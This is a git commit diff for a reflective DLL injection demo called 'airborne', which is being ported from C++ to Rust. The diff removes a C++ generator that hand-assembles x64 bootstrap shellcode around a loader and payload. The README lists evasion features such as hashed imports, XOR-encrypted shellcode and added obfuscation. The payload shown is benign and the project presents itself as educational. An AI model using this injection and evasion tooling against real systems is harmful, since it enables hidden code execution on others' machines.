tested builds w/o loader-level obfuscation
This commit is contained in:
parent
196b93c9bb
commit
08a32b0816
2
.cargo/config
Normal file
2
.cargo/config
Normal file
@ -0,0 +1,2 @@
|
||||
[build]
|
||||
target = "x86_64-pc-windows-gnu"
|
62
.gitignore
vendored
62
.gitignore
vendored
@ -1,55 +1,17 @@
|
||||
# Prerequisites
|
||||
*.d
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
debug/
|
||||
target/
|
||||
|
||||
# Object files
|
||||
*.o
|
||||
*.ko
|
||||
*.obj
|
||||
*.elf
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
# Cargo.lock
|
||||
|
||||
# Linker output
|
||||
*.ilk
|
||||
*.map
|
||||
*.exp
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Precompiled Headers
|
||||
*.gch
|
||||
*.pch
|
||||
|
||||
# Libraries
|
||||
*.lib
|
||||
*.a
|
||||
*.la
|
||||
*.lo
|
||||
|
||||
# Shared objects (inc. Windows DLLs)
|
||||
*.dll
|
||||
*.so
|
||||
*.so.*
|
||||
*.dylib
|
||||
|
||||
# Executables
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
*.i*86
|
||||
*.x86_64
|
||||
*.hex
|
||||
|
||||
# Debug files
|
||||
*.dSYM/
|
||||
*.su
|
||||
*.idb
|
||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
||||
*.pdb
|
||||
|
||||
# Kernel Module Compile Results
|
||||
*.mod*
|
||||
*.cmd
|
||||
.tmp_versions/
|
||||
modules.order
|
||||
Module.symvers
|
||||
Mkfile.old
|
||||
dkms.conf
|
||||
|
||||
# CMAke generated makefiles
|
||||
build/
|
||||
# Local executables/binaries
|
||||
*.exe
|
||||
|
@ -1,61 +0,0 @@
|
||||
cmake_minimum_required(VERSION 3.11)
|
||||
project(
|
||||
airborne
|
||||
VERSION 0.1.0
|
||||
DESCRIPTION "Reflective DLL injection demonstration"
|
||||
LANGUAGES CXX
|
||||
)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
|
||||
if(NOT CMAKE_SYSTEM_NAME MATCHES Windows)
|
||||
message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows")
|
||||
endif()
|
||||
|
||||
# Build as Release by default
|
||||
if(NOT CMAKE_BUILD_TYPE)
|
||||
set(CMAKE_BUILD_TYPE Release)
|
||||
endif()
|
||||
|
||||
include(CheckIPOSupported)
|
||||
check_ipo_supported(RESULT lto_supported OUTPUT error)
|
||||
|
||||
# Enable LTO if supported
|
||||
if(lto_supported)
|
||||
set(CMAKE_INTERPROCEDURAL_OPTIMIZATION TRUE)
|
||||
else()
|
||||
message(WARNING "LTO is not supported: ${error}")
|
||||
endif()
|
||||
|
||||
if(NOT MSVC)
|
||||
add_compile_options("-Wall" "-Wextra" "-Os")
|
||||
set(CMAKE_EXE_LINKED_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -s")
|
||||
else()
|
||||
add_compile_options("/W4" "/WX" "/O1" "/GL")
|
||||
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
|
||||
set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
|
||||
endif()
|
||||
|
||||
# *) Shared modules
|
||||
add_library(shared STATIC shared/crypto.cpp shared/crypto.hpp shared/futils.cpp shared/futils.hpp)
|
||||
|
||||
# *) Reflective loader (DLL)
|
||||
add_library(loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp)
|
||||
target_link_libraries(loader PRIVATE shared)
|
||||
|
||||
# *) Payload (DLL)
|
||||
add_library(payload SHARED payload/payload.cpp)
|
||||
|
||||
# *) Shellcode generator (EXE)
|
||||
add_executable(generator generator/generator.cpp generator/generator.hpp)
|
||||
target_link_libraries(generator PRIVATE shared)
|
||||
|
||||
# *) Injector (EXE)
|
||||
add_executable(injector injector/injector.cpp)
|
||||
target_link_libraries(injector PRIVATE shared)
|
||||
|
||||
if(NOT MSVC)
|
||||
foreach(target loader payload generator injector)
|
||||
add_custom_command(TARGET ${target} POST_BUILD COMMAND ${CMAKE_STRIP} $<TARGET_FILE:${target}>) # Strip binaries
|
||||
endforeach()
|
||||
endif()
|
326
Cargo.lock
generated
Normal file
326
Cargo.lock
generated
Normal file
@ -0,0 +1,326 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "airborne-generator"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"clap",
|
||||
"rand",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-injector"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"lexopt",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-payload"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-reflective_loader"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"airborne-utils",
|
||||
"rand_core",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "airborne-utils"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "anstream"
|
||||
version = "0.6.11"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"anstyle-parse",
|
||||
"anstyle-query",
|
||||
"anstyle-wincon",
|
||||
"colorchoice",
|
||||
"utf8parse",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstyle"
|
||||
version = "1.0.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc"
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-parse"
|
||||
version = "0.2.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
|
||||
dependencies = [
|
||||
"utf8parse",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-query"
|
||||
version = "1.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstyle-wincon"
|
||||
version = "3.0.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
|
||||
[[package]]
|
||||
name = "clap"
|
||||
version = "4.4.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c"
|
||||
dependencies = [
|
||||
"clap_builder",
|
||||
"clap_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clap_builder"
|
||||
version = "4.4.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7"
|
||||
dependencies = [
|
||||
"anstream",
|
||||
"anstyle",
|
||||
"clap_lex",
|
||||
"strsim",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clap_derive"
|
||||
version = "4.4.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442"
|
||||
dependencies = [
|
||||
"heck",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "clap_lex"
|
||||
version = "0.6.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1"
|
||||
|
||||
[[package]]
|
||||
name = "colorchoice"
|
||||
version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "heck"
|
||||
version = "0.4.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
|
||||
|
||||
[[package]]
|
||||
name = "lexopt"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baff4b617f7df3d896f97fe922b64817f6cd9a756bb81d40f8883f2f66dcb401"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.152"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.78"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.35"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.6.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||
dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "strsim"
|
||||
version = "0.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "2.0.48"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
|
||||
|
||||
[[package]]
|
||||
name = "utf8parse"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.0+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"
|
27
Cargo.toml
Normal file
27
Cargo.toml
Normal file
@ -0,0 +1,27 @@
|
||||
[workspace]
|
||||
resolver = "2"
|
||||
|
||||
members = [
|
||||
"injector",
|
||||
"payload",
|
||||
"generator",
|
||||
"reflective_loader",
|
||||
"utils"
|
||||
]
|
||||
|
||||
[profile.release]
|
||||
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
|
||||
lto = true # Enable Link Time Optimization
|
||||
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
|
||||
panic = "abort" # Abort on panic
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
|
||||
[profile.dev]
|
||||
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
|
||||
lto = true # Enable Link Time Optimization
|
||||
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
|
||||
panic = "abort" # Abort on panic
|
||||
strip = true # Automatically strip symbols from the binary.
|
||||
|
||||
# More information about the profile attributes: https://doc.rust-lang.org/cargo/reference/profiles.html
|
||||
|
2
LICENSE
2
LICENSE
@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 17ms
|
||||
Copyright (c) 2024 17ms
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
23
README.md
23
README.md
@ -1,4 +1,4 @@
|
||||
# Shellcode reflective DLL injection in C++
|
||||
# Shellcode reflective DLL injection in Rust
|
||||
|
||||
Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic.
|
||||
|
||||
@ -8,26 +8,31 @@ Reflective DLL injection demo for fun and education. In practical applications,
|
||||
|
||||
```shell
|
||||
.
|
||||
├── build.sh # Build script (cmake & make)
|
||||
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
|
||||
├── injector # PoC injector
|
||||
├── payload # PoC payload (DllMain & PrintMessage(lpUserData))
|
||||
├── reflective_loader # sRDI implementation
|
||||
├── shared # Common cryptographic & file modules
|
||||
└── toolchains # Cross-compilation toolchains (linux & darwin)
|
||||
├── payload # PoC payload (DllMain and PrintMessage)
|
||||
└── reflective_loader # sRDI implementation
|
||||
```
|
||||
|
||||
### Features
|
||||
|
||||
- Compact filesize (~14 kB)
|
||||
- Hashed import names & indirect function calls
|
||||
- Randomized export iteration & IAT patching
|
||||
- XOR encryption for shellcode (randomized key generated during shellcode generation)
|
||||
- Randomized payload export iteration & IAT patching
|
||||
- XOR encryption for shellcode (shellcode generation specific keys)
|
||||
|
||||
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
|
||||
|
||||
### Usage
|
||||
|
||||
Compile the libraries and executables with the included `build.sh` shellscript (if cross-compiling).
|
||||
The following command compiles the DLLs and executables into `target`:
|
||||
|
||||
```shell
|
||||
$ cargo build --release
|
||||
```
|
||||
|
||||
1. Generate shellcode containing the loader and the payload
|
||||
2. Inject the created shellcode into target
|
||||
|
||||
### Disclaimer
|
||||
|
||||
|
25
build.sh
25
build.sh
@ -1,25 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
CORES=$(nproc)
|
||||
USED=$(($CORES / 2))
|
||||
|
||||
case $(uname -a) in
|
||||
Linux*)
|
||||
echo "[+] Using Linux toolchain"
|
||||
TOOLCHAIN="linux-mingw-w64-x86_64.cmake"
|
||||
;;
|
||||
Darwin*)
|
||||
echo "[+] Using Darwin toolchain"
|
||||
TOOLCHAIN="darwin-mingw-w64-x86_64.cmake"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "[+] Running CMake with specified toolchain, outputting to build/"
|
||||
if ! cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/$TOOLCHAIN -B build
|
||||
then
|
||||
echo "[!] CMake failed, aborting build"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[+] Running Make with $USED threads"
|
||||
make -j$USED -C build
|
18
generator/Cargo.toml
Normal file
18
generator/Cargo.toml
Normal file
@ -0,0 +1,18 @@
|
||||
[package]
|
||||
name = "airborne-generator"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
clap = {version = "4.4.18", features = ["derive"] }
|
||||
rand = "0.8.5"
|
||||
airborne-utils = { path = "../utils" }
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.52.0"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_SystemServices",
|
||||
"Win32_System_Diagnostics_Debug",
|
||||
"Win32_System_SystemInformation"
|
||||
]
|
@ -1,266 +0,0 @@
|
||||
#include "generator.hpp"
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "../shared/crypto.hpp"
|
||||
#include "../shared/futils.hpp"
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
uint8_t flag = false;
|
||||
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
|
||||
|
||||
const char *shortOptions = "l:p:n:a:o:fh";
|
||||
static struct option longOptions[] = {
|
||||
{"loader", required_argument, nullptr, 'l'},
|
||||
{"payload", required_argument, nullptr, 'p'},
|
||||
{"function", required_argument, nullptr, 'n'},
|
||||
{"parameter", required_argument, nullptr, 'a'},
|
||||
{"output", required_argument, nullptr, 'o'},
|
||||
{"flag", no_argument, nullptr, 'f'},
|
||||
{"help", no_argument, nullptr, 'h'},
|
||||
};
|
||||
|
||||
if (argc < 9) {
|
||||
PrintHelp(argv);
|
||||
return 1;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
const auto opt = getopt_long(argc, argv, shortOptions, longOptions, nullptr);
|
||||
|
||||
if (-1 == opt) {
|
||||
break;
|
||||
}
|
||||
|
||||
switch (opt) {
|
||||
case 'l':
|
||||
loaderPath = optarg;
|
||||
break;
|
||||
case 'p':
|
||||
payloadPath = optarg;
|
||||
break;
|
||||
case 'n':
|
||||
funcName = optarg;
|
||||
break;
|
||||
case 'a':
|
||||
funcParameter = optarg;
|
||||
break;
|
||||
case 'o':
|
||||
outputPath = optarg;
|
||||
break;
|
||||
case 'f':
|
||||
flag = true;
|
||||
break;
|
||||
case 'h':
|
||||
PrintHelp(argv);
|
||||
return 0;
|
||||
default:
|
||||
PrintHelp(argv);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << "[+] Loader path: " << loaderPath << std::endl;
|
||||
std::cout << "[+] Payload path: " << payloadPath << std::endl;
|
||||
std::cout << "[+] Output path: " << outputPath << std::endl;
|
||||
|
||||
auto loaderContents = ReadFromFile(loaderPath);
|
||||
auto payloadContents = ReadFromFile(payloadPath);
|
||||
|
||||
// Compose the complete shellcode from loader, payload, and bootstrap
|
||||
|
||||
std::vector<BYTE> bootstrap;
|
||||
DWORD funcParameterHash = CalculateHash(funcParameter);
|
||||
|
||||
/*
|
||||
1.) Save the current location in memory for calculating offsets later
|
||||
*/
|
||||
|
||||
// Call the next instruction (push next instruction address to stack)
|
||||
bootstrap.push_back(0xe8);
|
||||
bootstrap.push_back(0x00);
|
||||
bootstrap.push_back(0x00);
|
||||
bootstrap.push_back(0x00);
|
||||
bootstrap.push_back(0x00);
|
||||
|
||||
// pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory
|
||||
bootstrap.push_back(0x59);
|
||||
|
||||
// mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx
|
||||
bootstrap.push_back(0x49);
|
||||
bootstrap.push_back(0x89);
|
||||
bootstrap.push_back(0xc8);
|
||||
|
||||
/*
|
||||
2.) Align the stack and create shadow space
|
||||
*/
|
||||
|
||||
// push rsi -> Save the original value
|
||||
bootstrap.push_back(0x56);
|
||||
|
||||
// mov rsi, rsp -> Stores the current stack pointer in rsi for later
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x89);
|
||||
bootstrap.push_back(0xe6);
|
||||
|
||||
// and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x83);
|
||||
bootstrap.push_back(0xe4);
|
||||
bootstrap.push_back(0xf0);
|
||||
|
||||
// sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9)
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x83);
|
||||
bootstrap.push_back(0xec);
|
||||
bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes)
|
||||
|
||||
/*
|
||||
3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
|
||||
*/
|
||||
|
||||
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x89);
|
||||
bootstrap.push_back(0x4c);
|
||||
bootstrap.push_back(0x24);
|
||||
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
|
||||
|
||||
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x83);
|
||||
bootstrap.push_back(0x6c);
|
||||
bootstrap.push_back(0x24);
|
||||
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
|
||||
bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)
|
||||
|
||||
// mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument
|
||||
bootstrap.push_back(0xc7);
|
||||
bootstrap.push_back(0x44);
|
||||
bootstrap.push_back(0x24);
|
||||
bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes)
|
||||
bootstrap.push_back(flag);
|
||||
|
||||
/*
|
||||
4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
|
||||
*/
|
||||
|
||||
// mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9
|
||||
bootstrap.push_back(0x41);
|
||||
bootstrap.push_back(0xb9);
|
||||
auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
|
||||
bootstrap.push_back(static_cast<BYTE>(funcParameterSize));
|
||||
|
||||
// add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size
|
||||
bootstrap.push_back(0x49);
|
||||
bootstrap.push_back(0x81);
|
||||
bootstrap.push_back(0xc0);
|
||||
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) {
|
||||
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
|
||||
}
|
||||
|
||||
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
|
||||
bootstrap.push_back(0xba);
|
||||
|
||||
for (size_t i = 0; i < sizeof(funcParameterHash); i++) {
|
||||
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
|
||||
}
|
||||
|
||||
// add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x81);
|
||||
bootstrap.push_back(0xc1);
|
||||
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(payloadOffset); i++) {
|
||||
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
|
||||
}
|
||||
|
||||
/*
|
||||
5.) Call the reflective loader
|
||||
*/
|
||||
|
||||
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
|
||||
bootstrap.push_back(0xe8);
|
||||
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||
|
||||
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) {
|
||||
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
|
||||
}
|
||||
|
||||
// Add padding
|
||||
bootstrap.push_back(0x90);
|
||||
bootstrap.push_back(0x90);
|
||||
|
||||
/*
|
||||
6.) Restore the stack and return to the original location (caller)
|
||||
*/
|
||||
|
||||
// mov rsp, rsi -> Restore the original stack pointer
|
||||
bootstrap.push_back(0x48);
|
||||
bootstrap.push_back(0x89);
|
||||
bootstrap.push_back(0xf4);
|
||||
|
||||
// pop rsi -> Restore the original value
|
||||
bootstrap.push_back(0x5e);
|
||||
|
||||
// ret -> Return to the original location
|
||||
bootstrap.push_back(0xc3);
|
||||
|
||||
// Add padding
|
||||
bootstrap.push_back(0x90);
|
||||
bootstrap.push_back(0x90);
|
||||
|
||||
if (bootstrap.size() != BOOTSTRAP_LEN) {
|
||||
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
